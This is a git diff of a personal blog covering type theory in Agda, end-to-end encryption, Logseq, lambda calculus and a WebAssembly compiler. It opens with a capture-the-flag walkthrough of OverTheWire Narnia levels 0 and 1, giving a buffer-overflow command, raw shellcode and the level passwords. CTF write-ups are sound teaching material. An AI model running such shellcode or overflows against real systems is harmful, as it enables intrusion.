+          <h3 name="1811" id="1811" class="graf graf--h3 graf-after--h3">Level 0: Simple Buffer Overflow</h3>
+          <p name="0218" id="0218" class="graf graf--p graf-after--h3">We’re given a buffer of 20 characters and an
+            int. The program reads 24 characters from input, exactly overwriting the int. The exploit code:</p>
+          <pre name="47f8" id="47f8"
+            class="graf graf--pre graf-after--p">(python -c ‘print “\xef\xbe\xad\xde” * 6’; cat) | ./narnia0</pre>
+          <p name="b867" id="b867" class="graf graf--p graf-after--pre">The password for level 1 is <code
+              class="markup--code markup--p-code">efeidiedae</code>.</p>
+          <h3 name="59e6" id="59e6" class="graf graf--h3 graf-after--p">Level 1: Executing Shellcode</h3>
+          <p name="d660" id="d660" class="graf graf--p graf-after--h3">The program we’re given will execute anything
+            at the environment variable <code class="markup--code markup--p-code">EGG</code> as a function pointer; I
+            found some shellcode from google and it worked. The exploit code:</p>
+          <pre name="a253" id="a253"
+            class="graf graf--pre graf-after--p">EGG=$(printf “\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\x<br>ff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81”) bash -c ‘./narnia1’</pre>
+          <p name="5af8" id="5af8" class="graf graf--p graf-after--pre">The password for level 2 is <code
+              class="markup--code markup--p-code">nairiepecu</code>.</p>
+          <p name="3a3b" id="3a3b" class="graf graf--p graf-after--p">Level 2</p>
+          <p name="ce56" id="ce56" class="graf graf--p graf-after--p graf--trailing">soon lol</p>
+        </div>
+      </div>
+    </section>
+  </section>
+  <footer>
+    <p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
+        href="https://medium.com/p/a282ef43b705"><time class="dt-published" datetime="2017-05-24T03:10:36.500Z">May
+          24, 2017</time></a>.</p>
+    <p><a href="https://medium.com/@failedxyz/overthewire-narnia-a282ef43b705" class="p-canonical">Canonical link</a>
+    </p>
+    <p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
+  </footer>
+</article>

src/content/posts/2019-02-01-magic-forms-with-proc-macros.md

@@ -85,6 +85,6 @@ then calling something like `instance.verify()` should run all those validators
 
 ## Conclusion
 
-This project is a work in progress! You can see how far I am [on Github](https://github.com/iptq/wtforms).
+This project is a work in progress! You can see how far I am [on Github](https://github.com/mzhang28/wtforms).
 
 [1]: https://docs.rs/serde

src/content/posts/2021-10-31-e2e-encryption-useless-without-client-freedom.md

@@ -8,7 +8,9 @@ Today, many companies claim to provide "end-to-end encryption" of user data,
 whether it be text messages, saved pictures, or important documents. But what
 does this actually mean for your data? I'll explain what "non-end-to-end"
 encryption is, why end-to-end encryption is important, and also when it might
-be absolutely meaningless.<!--more-->
+be absolutely meaningless.
+
+<!--more-->
 
 > If you just want to read about end-to-end encryption, click [here][1].
 > Otherwise, I'll start the story all the way back to how computers talk to
@@ -89,7 +91,7 @@ then decrypts it offline. [Signal][signal] famously provides end-to-end
 encrypted chat, so that no one, not even the government[^1], will be able to
 read the messages you send if they're not the intended recipient.
 
-## It's still not enough {#not-enough}
+## It's still not enough
 
 End-to-end encryption seems like it should be the end of the story, but if
 there's one thing that can undermine the encryption, it's the program that's
@@ -195,7 +197,7 @@ control.
     [PKI][pki] infrastructure to solve this, which relies on a certificate chain
     that is distributed by browser or operating system vendors.
 
-[1]: {{< ref "#not-enough" >}}
+[1]: #its-still-not-enough
 
 [csam]: https://www.apple.com/child-safety/pdf/CSAM_Detection_Technical_Summary.pdf
 [ferpa]: https://en.wikipedia.org/wiki/Family_Educational_Rights_and_Privacy_Act

src/content/posts/2023-03-29-shell-in-docker-compose-container-without-shell.md

@@ -4,7 +4,7 @@ date: 2023-03-29
 tags: ["docker", "linux"]
 ---
 
-First (published) blog post of the year! :raising_hands:
+First (published) blog post of the year! :raised_hands:
 
 Here is a rather dumb way of entering a Docker Compose container that didn't
 have a shell. In this specific case, I was trying to enter a Woodpecker CI
@@ -12,6 +12,7 @@ container without exiting it. Some Docker containers are incredibly stripped
 down to optimize away bloat (which is good!) but this may make debugging them
 relatively annoying.
 
+> [!admonition: NOTE]
 > These are my specific steps for running it, please replace the paths and
 > container names with the ones relevant to your specific use-case.
 

src/content/posts/2023-04-20-developing-without-flake.md

@@ -61,6 +61,7 @@ I shove new config files in their root directory.
      flake.nix ✗
 ```
 
+> [!admonition: NOTE]
 > The `✗` indicates that I added the file to the project, and it hasn't been
 > committed to the repo yet.
 
@@ -130,9 +131,10 @@ project structure should look a bit more like this:
      flake.nix
 ```
 
-> Remember, since you moved the `.envrc` file, you will need to run `direnv
+> [!admonition: NOTE]
-allow` again. Depending on how you moved it, you might also need to change the
+> Remember, since you moved the `.envrc` file, you will need to run `direnv allow`
-> path you wrote in the `use flake` command.
+> again. Depending on how you moved it, you might also need to change the path you
+> wrote in the `use flake` command.
 
 With this setup, the `project` directory can contain a clean clone of upstream
 and your flake files will create the appropriate environment.

src/content/posts/2023-04-21-proving-true-from-false.lagda.md

@@ -1,9 +1,9 @@
 ---
-title : "Formally proving true ≢ false in cubical Agda"
+title: "Formally proving true ≢ false in Homotopy Type Theory with Agda"
-slug : "proving-true-from-false"
+slug: "proving-true-from-false"
-date : 2023-04-21
+date: 2023-04-21
-tags : ["type-theory", "agda"]
+tags: ["type-theory", "agda"]
-math : true
+math: true
 ---
 
 <details>
@@ -12,20 +12,9 @@ math : true
 These are some imports that are required for code on this page to work properly.
 
 ```agda
-{-# OPTIONS --cubical #-}
+open import Prelude
-
-open import Cubical.Foundations.Prelude
-open import Data.Bool
-open import Data.Unit
-open import Data.Empty
-
-¬_ : Set → Set
-¬ A = A → ⊥
-
-infix 4 _≢_
-_≢_ : ∀ {A : Set} → A → A → Set
-x ≢ y  =  ¬ (x ≡ y)
 ```
+
 </details>
 
 The other day, I was trying to prove `true ≢ false` in Agda. I would write the
@@ -39,7 +28,6 @@ For many "obvious" statements, it suffices to just write `refl` since the two
 sides are trivially true via rewriting. For example:
 
 ```
-open import Data.Nat
 1+2≡3 : 1 + 2 ≡ 3
 1+2≡3 = refl
 ```
@@ -60,9 +48,8 @@ left side so it becomes judgmentally equal to the right:
 - suc (suc (suc zero))
 - 3
 
-However, in cubical Agda, naively using `refl` with the inverse statement
+However, in Agda, naively using `refl` with the inverse statement doesn't work.
-doesn't work. I've commented it out so the code on this page can continue to
+I've commented it out so the code on this page can continue to compile.
-compile.
 
 ```
 -- true≢false = refl
@@ -95,7 +82,7 @@ The strategy here is we define some kind of "type-map". Every time we see
 `false`, we'll map it to empty.
 
 ```
-bool-map : Bool → Type
+bool-map : Bool → Set
 bool-map true = ⊤
 bool-map false = ⊥
 ```
@@ -105,26 +92,29 @@ over a path (the path supposedly given to us as the witness that true ≢ false)
 will produce a function from the inhabited type we chose to the empty type!
 
 ```
-true≢false p = transport (λ i → bool-map (p i)) tt
+true≢false p = transport bool-map p tt
 ```
 
 I used `true` here, but I could equally have just used anything else:
 
 ```
-bool-map2 : Bool → Type
+bool-map2 : Bool → Set
 bool-map2 true = 1 ≡ 1
 bool-map2 false = ⊥
 
 true≢false2 : true ≢ false
-true≢false2 p = transport (λ i → bool-map2 (p i)) refl
+true≢false2 p = transport bool-map2 p refl
 ```
 
 ## Note on proving divergence on equivalent values
 
-Let's make sure this isn't broken by trying to apply this to something that's
+> [!admonition: NOTE]
-actually true:
+> Update: some of these have been commented out since regular Agda doesn't support higher inductive types
 
-```
+Let's make sure this isn't broken by trying to apply this to something that's
+actually true, like this higher inductive type:
+
+```text
 data NotBool : Type where
   true1 : NotBool
   true2 : NotBool
@@ -135,7 +125,7 @@ In this data type, we have a path over `true1` and `true2` that is a part of the
 definition of the `NotBool` type. Since this is an intrinsic equality, we can't
 map `true1` and `true2` to divergent types. Let's see what happens:
 
-```
+```text
 notbool-map : NotBool → Type
 notbool-map true1 = ⊤
 notbool-map true2 = ⊥

src/content/posts/2023-05-06-equivalences.md

@@ -3,9 +3,9 @@ title: "Equivalences"
 slug: "equivalences"
 date: 2023-05-06
 tags:
-- type-theory
+  - type-theory
-- agda
+  - agda
-- hott
+  - hott
 math: true
 draft: true
 ---
@@ -58,6 +58,7 @@ we can just give $y$ again, and use the `refl` function above for the equality
 proof
 
 ```
+
 ```
 
 The next step is to prove that it's contractible. Using the same derivation for
@@ -148,9 +149,9 @@ Blocked on this issue: https://git.mzhang.io/school/cubical/issues/1
 Now we can prove that the path is the same
 
 \begin{CD}
-  A @> > > B \\\
+A @> > > B \\\
-  @VVV @VVV \\\
+ @VVV @VVV \\\
-  C @> > > D
+ C @> > > D
 \end{CD}
 
 - $A \rightarrow B$ is the path of the original fiber that we've specified, which is $f\ x \equiv y$
@@ -165,10 +166,12 @@ Bool-id-is-equiv .equiv-proof y .snd y₁ i .snd j =
     c-d = y₁ .snd
   in
   ?
-  ```
+```
 
 Blocked on this issue: https://git.mzhang.io/school/cubical/issues/2
-  ```
+
+```
+
 ```
 
 ## Other Equivalences

src/content/posts/2023-07-04-learn-by-implementing-nginx.md

@@ -36,7 +36,7 @@ I'm going to implement this using [Deno].
 
 [deno]: https://deno.land/
 
-> **💡 This is a literate document.** I wrote a [small utility][3] to
+> **:bulb: This is a literate document.** I wrote a [small utility][3] to
 > extract the code blocks out of markdown files, and it should produce working
 > example for this file. If you have the utility, then running the following
 > should get you a copy of all the code extracted from this blog post:

src/content/posts/2023-08-31-thoughts-on-organization/index.md

@@ -0,0 +1,144 @@
+---
+title: Thoughts on personal organization
+date: 2023-08-31T13:57:29.022Z
+tags:
+  - organization
+  - logseq
+heroImage: ./calendarHero.png
+heroAlt: pastel colored stationery background with a bunch of calendars and personal organization tools in a crayon drawing style
+---
+
+Many people don't really use a calendar of any sort to manage their lives.
+
+I get it. Putting events into a calendar is kind of a chore. It's a menial relic
+from work and none of us want to even think about creating events during our
+coveted personal hours. We want to live our lives free from the constraints of
+the time boxes on our screens.
+
+On top of that, traditional calendar apps still primarily use email for the most
+part (sending invites, updating times, etc.) and the new generation of calendar
+apps suffer from the social network problem of having to get everyone on the
+same app.
+
+But to some extent, it's still valuable to have things down in writing rather
+than juggling it in our minds all the time.
+
+Which is why it's such a shame that the personal management story has always
+been kind of fragmented. Calendars are supposed to manage the entire picture of
+my personal schedule, yet they only see a small slice of your life. The only
+things calendars can see automatically with no intervention on my part are
+emails that are sent from airlines.
+
+> [!admonition: NOTE]
+> I'm sure Google or Apple could probably ritz up their services to scan text
+> and guess events to put on your calendar, but that's missing the point. The vast
+> majority of people I associate with rarely coordinate events over email in the
+> first place.
+
+## Journals
+
+For a while I've always wanted a kind of personal information manager: something
+that would put all my information in one place and make it easy for me to query
+across apps. When I embarked on this search I wouldn't have thought that the
+most promising tool would end up being a journaling app.
+
+(by journaling app I mean something like [Logseq], [Obsidian], [Notion],
+[Workflowy] or [the][roam] [million][joplin] [other][craft]
+[similar][stdnotes] [apps][bear] that allow you to write some markdown-ish
+content, store it, and then never look back at it again)
+
+[logseq]: https://logseq.com
+[obsidian]: https://obsidian.md/
+[notion]: https://www.notion.so/
+[workflowy]: https://workflowy.com/
+[roam]: https://roamresearch.com/
+[joplin]: https://joplinapp.org/
+[craft]: https://www.craft.do/
+[stdnotes]: https://standardnotes.com/
+[bear]: https://bear.app/
+
+The world of journaling apps is vast but relatively undiverse. Most of the apps
+just have the same features others do, minus one or two gimmicks that makes it a
+ride or die. But there's one important feature that I have started looking out
+for recently: the ability to attach arbitrary metadata to journal entries and be
+able to query for them.
+
+While new apps have been cropping up from time to time for a while now, I think
+a common trend that's starting to emerge is that these "journals" are really
+more like personal databases. Extracting structured fields is extremely
+important if you want any kind of smart understanding of what is being
+journaled.
+
+For example, I could write "weighed in at 135 pounds today", but if I wanted to
+find previous instances of this or make any kind of history, I would have to
+essentially do a pure text search. However, with structured data this could be
+different.
+
+[Logseq], the app that I've settled on, is backed by a real database, and most
+importantly exposes a lot of this functionality to you as a user. It allows you
+to query directly on properties that you write into your daily journal or any
+other page, for example like this:
+
+![recording some property in logseq](./minicross.png)
+
+What you're seeing is me using my daily journals to add a todo item for reading
+a paper and tracking how long it takes me to do the [NY Times daily
+crossword][minicross] (which I've shortened to minicross). I just add these to
+my journal as it comes up throughout my day, but Logseq is able to index this
+and serve it back to me in a very structured way:
+
+[datascript]: https://github.com/tonsky/datascript
+[minicross]: https://www.nytimes.com/crosswords/game/mini
+
+![performing a query in logseq](./logseqQuery.png)
+
+With this, I could go on to construct a graph and see historical data of how I
+did over time. You can see how this could be used for more personal tracking
+things like workout records or grocery trackers.
+
+The query tool is very simple and easy to learn, and makes it easy to actually
+_use_ the information you wrote down, instead of just burying it into oblivion.
+For example, I can write todo items inline in my journal and find them all at a
+time as well. Here's all of the todo items that I've tagged specifically with
+the tag `#read`:
+
+![reading list in logseq](./readingList.png)
+
+Notice how the paper I added as a todo helpfully shows up here. No need for a
+separate todo list or planning tool!
+
+The fact that it truly is a database means I can just shove all kinds of
+unrelated information into my journal, do some very trivial labeling and get
+some really powerful uses out of it.
+
+In the future I'd like to do dumps for my sleep and health data as well
+and have Logseq be my ultimate source of truth. I've started developing a
+[calendar plugin for Logseq][2] that will have the ability to display numerical
+data using various visualizations for this purpose.
+
+[2]: https://git.mzhang.io/michael/logseq-calendar
+
+> [!admonition: NOTE]
+> As an aside, this isn't sponsored in any way. While this post makes me sound
+> like just a Logseq shill, it's actually quite the opposite: they're an
+> open-source project solely funded by donations. I've been donating to them
+> monthly on [Open Collective] and they've been actively developing really cool
+> features!
+
+[open collective]: https://opencollective.com/logseq
+
+## Privacy
+
+Because people are dumping so much of their lives into journals, it's absolutely
+crucial that boundaries are clear. Without control, this would be a dream come
+true for any data collection company: rather than having to go out and gather
+the data, users are entering and structuring it all by themselves.
+
+**End-to-end encryption** is a technique that ensures data is never able to be
+accessed by your storage or synchronization providers. If you are in the market
+for some kind of personal tracking app, make sure it talks about end-to-end
+encryption as a feature. While it's [not the end-all-be-all of security][1],
+it's certainly a big first step. Do careful research before deciding who to
+trust with your data.
+
+[1]: /posts/2021-10-31-e2e-encryption-useless-without-client-freedom

src/content/posts/2023-09-01-formal-cek-machine-in-agda/index.md

@@ -0,0 +1,249 @@
+---
+title: Building a formal CEK machine in Agda
+draft: true
+date: 2023-09-01T13:53:23.974Z
+tags:
+  - computer-science
+  - programming-languages
+  - formal-verification
+  - lambda-calculus
+
+heroImage: ./header.jpg
+heroAlt: gears spinning wallpaper
+math: true
+toc: true
+---
+
+Back in 2022, I took a special topics course, CSCI 8980, on [reasoning about
+programming languages using Agda][plfa], a dependently typed meta-language. For
+the term project, we were to implement a simply-typed lambda calculus with
+several extensions, along with proofs of certain properties.
+
+[plfa]: https://plfa.github.io/
+
+My lambda calculus implemented `call/cc` on top of a CEK machine.
+
+<details>
+  <summary><b>Why is this interesting?</b></summary>
+
+Reasoning about languages is one way of ensuring whole-program correctness.
+Building up these languages from foundations grounded in logic helps us
+achieve our goal with more rigor.
+
+As an example, suppose I wrote a function that takes a list of numbers and
+returns the maximum value. Mathematically speaking, this function would be
+_non-total_; an input consisting of an empty set would not produce reasonable
+output. If this were a library function I'd like to tell people who write code
+that uses this function "don't give me an empty list!"
+
+But just writing this in documentation isn't enough. What we'd really like is
+for a tool (like a compiler) to tell any developer who is trying to pass an
+empty list into our maximum function "You can't do that." Unfortunately, most
+of the popular languages being used today have no way of describing "a list
+that's not empty."
+
+We still have a way to prevent people from running into this problem, though
+it involves pushing the problem to runtime rather than compile time. The
+maximum function could return an "optional" maximum. Some languages'
+implementations of optional values force programmers to handle the "nothing"
+case, while others ignore it silently. But in the more optimistic case, even
+if the list was empty, the caller would have handled it and treated it
+accordingly.
+
+This isn't a pretty way to solve this problem. _Dependent types_ gives us
+tools to solve this problem in an elegant way, by giving the type system the
+ability to contain values. This also opens its own can of worms, but for
+questions about program correctness, it is more valuable than depending on
+catching problems at runtime.
+
+</details>
+
+## Crash course on the lambda calculus
+
+The [lambda calculus] is a mathematical abstraction for computation. The core
+mechanism it uses is a concept called a _term_. Everything that can be
+represented in a lambda calculus is some combination of terms. A term can have
+several constructors:
+
+[lambda calculus]: https://en.wikipedia.org/wiki/Lambda_calculus
+
+- **Var.** This is just a variable, like $x$ or $y$. By itself it holds no
+  meaning, but during evaluation, the evaluation _environment_ holds a mapping
+  from variable names to the values. If the environment says $\{ x = 5 \}$, then
+  evaluating $x$ would result in $5$.
+
+- **Abstraction, or lambda ($\lambda$).** An _abstraction_ is a term that describes some
+  other computation. From an algebraic perspective, it can be thought of as a
+  function with a single argument (i.e $f(x) = 2x$ is an abstraction, although
+  it would be written using the notation $\lambda x.2x$)
+
+- **Application.** Application is sort of the opposite of abstraction, exposing
+  the computation that was abstracted away. From an algebraic perspective,
+  this is just function application (i.e applying $f(x) = 2x$ to $3$ would
+  result in $2 \times 3 = 6$. Note that only a simple substitution has been done
+  and further evaluation is required to reduce $2\times 3$)
+
+### Why?
+
+The reason it's set up this way is so we can reason about terms inductively.
+Rather than having lots of syntax for making it easier for programmers to write
+a for loop as opposed to a while loop, or constructing different kinds of
+values, the lambda calculus focuses on function abstraction and calls, and
+strips everything else away.
+
+The idea is that because terms are just nested constructors, we can describe the
+behavior of any term by just defining the behavior of these 3 constructors. The
+flavorful features of other programming languages can be implemented on top of
+the function call rules in ways that don't disrupt the basic function of the
+evaluation.
+
+In fact, the lambda calculus is [Turing-complete][tc], so any computation can
+technically be reduced to those 3 constructs. I used numbers liberally in the
+examples above, but in a lambda calculus without numbers, you could define
+integers using a recursive strategy called [Church numerals]. It works like this:
+
+[church numerals]: https://en.wikipedia.org/wiki/Church_encoding
+
+- $z$ represents zero.
+- $s$ represents a "successor", or increment function. So:
+  - $s(z)$ represents 1,
+  - $s(s(z))$ represents 2
+  - and so on.
+
+In lambda calculus terms, this would look like:
+
+| number | lambda calculus expression         |
+| ------ | ---------------------------------- |
+| 0      | $\lambda s.(\lambda z.z)$          |
+| 1      | $\lambda s.(\lambda z.s(z))$       |
+| 2      | $\lambda s.(\lambda z.s(s(z)))$    |
+| 3      | $\lambda s.(\lambda z.s(s(s(z))))$ |
+
+In practice, many lambda calculus incorporate higher level constructors such as
+numbers or lists to make it so we can avoid having to represent them using only
+a series of function calls. However, any time we add more syntax to a language,
+we increase its complexity in proofs, so for now let's keep it simple.
+
+### The Turing completeness curse
+
+As I noted above, the lambda calculus is [_Turing-complete_][tc]. One feature of
+Turing complete systems is that they have a (provably!) unsolvable "halting"
+problem. Most of the simple terms shown above terminate predictably. But as an
+example of a term that doesn't halt, consider the _Y combinator_, an example of
+a fixed-point combinator:
+
+[tc]: https://en.wikipedia.org/wiki/Turing_completeness
+
+$$
+Y = \lambda f.(\lambda x.f(x(x)))(\lambda x.f(x(x)))
+$$
+
+That's quite a mouthful. If you tried calling $Y$ on some term, you will find
+that evaluation will quickly expand infinitely. That makes sense given its
+purpose: to find a _fixed point_ of whatever function you pass in.
+
+> [!admonition: NOTE]
+> As an example, the fixed-point of the function $f(x) = \sqrt{x}$ is $1$.
+> That's because $f(1) = 1$, and applying $f$ to any other number sort of
+> converges in on this value. If you took any number and applied $f$ infinitely
+> many times on it, you would get $1$.
+>
+> In this sense, the Y combinator can be seen as a sort of brute-force approach
+> of finding this fixed point by simply applying the function over and over until
+> the result stops changing. In the untyped lambda calculus, this can be used to
+> implement simple (but possibly unbounded) recursion.
+
+This actually proves disastrous for trying to reason about the logic of a
+program. If something is able to recurse on itself without limit, we won't be
+able to tell what its result is, and we _definitely_ won't be able to know if
+the result is correct. This is why we typically ban unbounded recursion in
+proof systems. In fact, you can give proofs for false statements using infinite
+recursion.
+
+This is why we actually prefer _not_ to work with Turing-complete languages when
+doing logical reasoning on program evaluation. Instead, we always want to add
+some constraints on it to make evaluation total, ensuring that we have perfect
+information about our program's behavior.
+
+### Simply-typed lambda calculus
+
+The [simply-typed lambda calculus] (STLC, or the notational variant
+$\lambda^\rightarrow$) adds types to every term. Types are crucial to any kind
+of static program analysis. Suppose I was trying to apply the term $5$ to $6$ (in
+other words, call $5$ with the argument $6$ as if $5$ was a function, like
+$5(6)$). As humans we can look at that and instantly recognize that the
+evaluation would be invalid, yet under the untyped lambda calculus, it would be
+completely representable.
+
+[simply-typed lambda calculus]: https://en.wikipedia.org/wiki/Simply_typed_lambda_calculus
+
+To solve this in STLC, we would make this term completely unrepresentable at
+all. To say you want to apply $5$ to $6$ would not be a legal STLC term. We do
+this by requiring that all STLC terms are untyped lambda calculus terms
+accompanied by a _type_.
+
+This gives us more information about what's allowed before we run the
+evaluation. For example, numbers may have their own type $\mathbb{N}$ (read
+"nat", for "natural number") and booleans are $\mathrm{Bool}$, while functions
+have a special "arrow" type $\_\rightarrow\_$, where the underscores represent
+other types. A function that takes a number and returns a boolean (like isEven)
+would have the type $\mathbb{N} \rightarrow \mathrm{Bool}$, while a function
+that takes a boolean and returns another boolean would be $\mathrm{Bool}
+\rightarrow \mathrm{Bool}$.
+
+With this, we have a framework for rejecting terms that would otherwise be legal
+in untyped lambda calculus, but would break when we tried to evaluate them. A
+function application would be able to require that the argument is the same type
+as what the function is expecting.
+
+The nice property you get now is that all valid STLC programs will never get
+_stuck_, which is being unable to evaluate due to some kind of error. Each term
+will either be able to be evaluated to a next state, or is done.
+
+A semi-formal definition for STLC terms would look something like this:
+
+- **Var.** Same as before, it's a variable that can be looked up in the
+  environment.
+
+- **Abstraction, or lambda ($\lambda$).** This is a function that carries three pieces
+  of information:
+
+  1. the name of the variable that its input will be substituted for
+  2. the _type_ of the input, and
+  3. the body in which the substitution will happen.
+
+- **Application.** Same as before.
+
+It doesn't really seem like changing just one term changes the language all that
+much. But as a result of this tiny change, _every_ term now has a type:
+
+- $5 :: \mathbb{N}$
+- $λ(x:\mathbb{N}).2x :: \mathbb{N} \rightarrow \mathbb{N}$
+- $isEven(3) :: (\mathbb{N} \rightarrow \mathrm{Bool}) · \mathbb{N} = \mathrm{Bool}$
+
+> [!admonition: NOTE]
+> Some notation:
+>
+> - $x :: T$ means $x$ has type $T$, and
+> - $f · x$ means $f$ applied to $x$
+
+This also means that some values are now unrepresentable:
+
+- $isEven(λx.2x)$ wouldn't work anymore because the type of the inner argument
+  $λx.2x$ would be $\mathbb{N} \rightarrow \mathbb{N}$ can't be used as an input
+  for $isEven$, which is expecting a $\mathbb{N}$.
+
+We have a good foundation for writing programs now, but this by itself can't
+qualify as a system for computation. We need an abstract machine of sorts that
+can evaluate these symbols and actually compute on them.
+
+In practice, there's a number of different possible abstract machines that can
+evaluate the lambda calculus. Besides the basic direct implementation, alternate
+implementations such as [interaction nets] have become popular due to being able
+to be parallelized efficiently.
+
+[interaction nets]: https://en.wikipedia.org/wiki/Interaction_nets
+
+## CEK machine
+
+A CEK machine is responsible for evaluating a lambda calculus term.

src/content/posts/2023-09-01-hindley-milner/index.md

@@ -0,0 +1,12 @@
+---
+title: Hindley-Milner type inference
+date: 2023-09-01T13:06:55.614Z
+tags:
+  - type-theory
+draft: true
+---
+
+Today, a lot of languages have a feature called something along the lines of
+"type inference". The idea is that through the way variables are passed and
+used, you can make guesses about what type it should be, and preemptively point
+out invalid or incompatible uses. Let's talk about how it works.

src/content/posts/2023-09-01-ip-routing/index.md

@@ -0,0 +1,28 @@
+---
+title: How IP routing works
+date: 2023-09-01T03:50:38.386Z
+tags:
+  - networking
+draft: true
+
+heroImage: ./cableHero.png
+heroAlt: futuristic photograph of a bunch of organized network cables
+---
+
+Many of us have probably heard of an IP address, but how does it actually work?
+I'm going to try to give a high level overview to technical networking concepts.
+
+Throughout this post I'm going to keep referring back to a train station
+analogy. We'll start off with a small network and build up into something that
+scales into the internet we have today.
+
+## The simplest network
+
+First, the analogy isn't very far off. Just as there's multiple tracks
+leading away from a train station, a computer has multiple ports to communicate
+with other computers, and we typically call these **interfaces**. For example, a
+laptop may have a Wi-Fi _interface_ and an Ethernet _interface_, while a cell
+phone may have a cellular _interface_ as well. Server computers could have any
+number of interfaces.
+
+You could imagine a simple network between 3 computers like this:

src/content/posts/2023-09-08-compiler/CodeBlock.astro

@@ -0,0 +1,48 @@
+---
+import { Code } from "astro:components";
+
+interface Props {
+  code: string;
+  resultName?: string | string[];
+}
+
+let { code, resultName } = Astro.props;
+
+// Detect common whitespace
+let longestCommonWhitespace: number | null = null;
+for (const line of code.split("\n")) {
+  if (line.trim().length === 0) continue;
+  const startingWhitespace = line.match(/^(\s+)/)!;
+  const len = startingWhitespace[1].length;
+  if (longestCommonWhitespace === null || len < longestCommonWhitespace)
+    longestCommonWhitespace = len;
+}
+code = code
+  .split("\n")
+  .map((line) => {
+    if (line.trim().length === 0) return "";
+    return line.substring(longestCommonWhitespace);
+  })
+  .join("\n")
+  .trim();
+
+// Strip some characters from it
+code = code.trim();
+
+let scriptCode = code;
+if (typeof resultName === "string") scriptCode += `\n${resultName};`;
+else if (Array.isArray(resultName)) scriptCode += `\n[${resultName.join(", ")}];`;
+---
+
+<!-- <Code code={code} lang="js" theme="github-dark" /> -->
+<Code code={code} lang="js" theme="css-variables" />
+
+<script define:vars={{ resultName, scriptCode }}>
+  const result = eval?.(scriptCode);
+  if (typeof resultName === "string") window[resultName] = result;
+  else if (Array.isArray(resultName)) {
+    resultName.forEach((name, i) => {
+      window[name] = result[i];
+    });
+  }
+</script>

src/content/posts/2023-09-08-compiler/Playground.astro

@@ -0,0 +1,33 @@
+---
+import { nanoid } from "nanoid";
+import "./style.scss";
+
+interface Props {
+  label?: string;
+  id?: string;
+  runAction: string;
+}
+
+const { label, id, runAction } = Astro.props;
+const codeId = id ?? nanoid();
+
+const scriptCode = `
+  javascript:((displayResult) => {
+    ${runAction}
+  })((result) => {
+    const el = document.getElementById("${codeId}");
+    el.innerText = result.toString();
+    const stamp = document.getElementById("${codeId}-stamp");
+    stamp.innerText = new Date().toISOString();
+  });
+`;
+---
+
+<button onclick={scriptCode}>{label ?? "Run"}</button>
+<div class="result">
+  <pre id={codeId}></pre>
+  <small>
+    Last run:
+    <span id={`${codeId}-stamp`}></span>
+  </small>
+</div>

src/content/posts/2023-09-08-compiler/index.mdx

@@ -0,0 +1,244 @@
+---
+title: Compiler from scratch
+date: 2023-09-08T06:17:00.840Z
+tags:
+  - programming-languages
+draft: true
+toc: true
+---
+
+import CodeBlock from "./CodeBlock.astro";
+import Playground from "./Playground.astro";
+
+Just for fun, let's write a compiler that targets WebAssembly.
+I'm writing this post as I'm discovering how this works, so join me on my journey!
+
+## Producing a working "binary"
+
+I don't know how WebAssembly actually works, so here's some of the resources I'm
+consulting:
+
+- https://developer.mozilla.org/en-US/docs/WebAssembly/Using_the_JavaScript_API
+- https://webassembly.github.io/spec/core/index.html
+
+A compiler for a general language is quite an undertaking, so let's start with
+the proverbial "Hello, world" program, just to write some output to the screen.
+This ...isn't very clear either. First of all, how do we even get output from
+WebAssembly?
+
+Well, it looks like according to [this][exported-functions] document, you can
+essentially mark certain wasm concepts as "exported", and access them from
+`obj.instance.exports`. Let's start by trying to export a single number.
+
+[exported-functions]: https://developer.mozilla.org/en-US/docs/WebAssembly/Exported_functions
+
+### Returning a number from WebAssembly
+
+We can use tables to export a number from wasm to JavaScript so we can access it
+and print it to the screen. Based on the [MDN example], we can tell that we'll
+need to be able to export modules, functions, and tables. We can use the [binary
+format spec] to figure out how to produce this info.
+
+[mdn example]: https://github.com/mdn/webassembly-examples/blob/5a2dd7ca5c82d19ae9dd25d170e7ef5e9f23fbb7/js-api-examples/table.wat
+[binary format spec]: https://webassembly.github.io/spec/core/binary/index.html
+
+Starting off, a class that we can start writing binary data to:
+
+<CodeBlock
+  code={`
+    function WasmWriter(size) {
+      this.buffer = new ArrayBuffer(size ?? 1024);
+      this.cursor = 0;
+    }
+    
+    // Helper function for displaying the number of bytes written as an array
+    WasmWriter.prototype.asArray = function() { return [...new Uint8Array(this.buffer.slice(0, this.cursor))]; };
+    WasmWriter.prototype.display = function() { return "[" + this.asArray().map(x => x.toString(16).padStart(2, '0')).join(", ") + "]"; };
+  `}
+/>
+
+<Playground runAction={`displayResult(new WasmWriter().display());`} />
+
+We'll want to write some stuff into it. Like bytes?
+
+<CodeBlock
+  code={`
+    WasmWriter.prototype.write = function(obj) {
+      const len = obj.len?.();
+      const view = new Uint8Array(this.buffer);
+      obj.write({ 
+        recurse: (obj) => this.write(obj),
+        emit: (byte) => { view[this.cursor] = byte; this.cursor += 1 }
+      });
+    };
+`}
+/>
+
+Or [integers][int spec]? Let's use the [algorithm given on Wikipedia][uleb algo]
+here.
+
+[int spec]: https://webassembly.github.io/spec/core/binary/values.html#integers
+[uleb algo]: https://en.wikipedia.org/wiki/LEB128#Unsigned_LEB128
+
+<CodeBlock
+  resultName="UInt"
+  code={`
+    class UInt {
+      constructor(num) { this.num = num; }
+      write({ emit }) {
+        let num = this.num;
+        if (num === 0) { emit(0); return }
+        do {
+          let byte = num % 128;
+          num = num >> 7;
+          if (num !== 0) byte = byte | 128;
+          emit(byte);
+        } while(num !== 0);
+      };
+    }
+`}
+/>
+
+<Playground
+  label="Encode some ints"
+  runAction={`
+    let ints = [10, 100, 1000, 10000, 100_000];
+    displayResult(ints.map(x => {
+      const writer = new WasmWriter();
+      writer.write(new UInt(x));
+      return \`\${x} encodes to \${writer.display()}\`;
+    }).join("\\n"));
+  `}
+/>
+
+Perfect. What do we still need to encode a complete WebAssembly program? Reading
+[this][binary modules spec], I guess we'll need functions, tables, and modules.
+Let's keep going, starting with [functions][func type spec].
+
+[binary modules spec]: https://webassembly.github.io/spec/core/binary/modules.html#binary-module
+[func type spec]: https://webassembly.github.io/spec/core/binary/types.html#binary-functype
+
+<CodeBlock
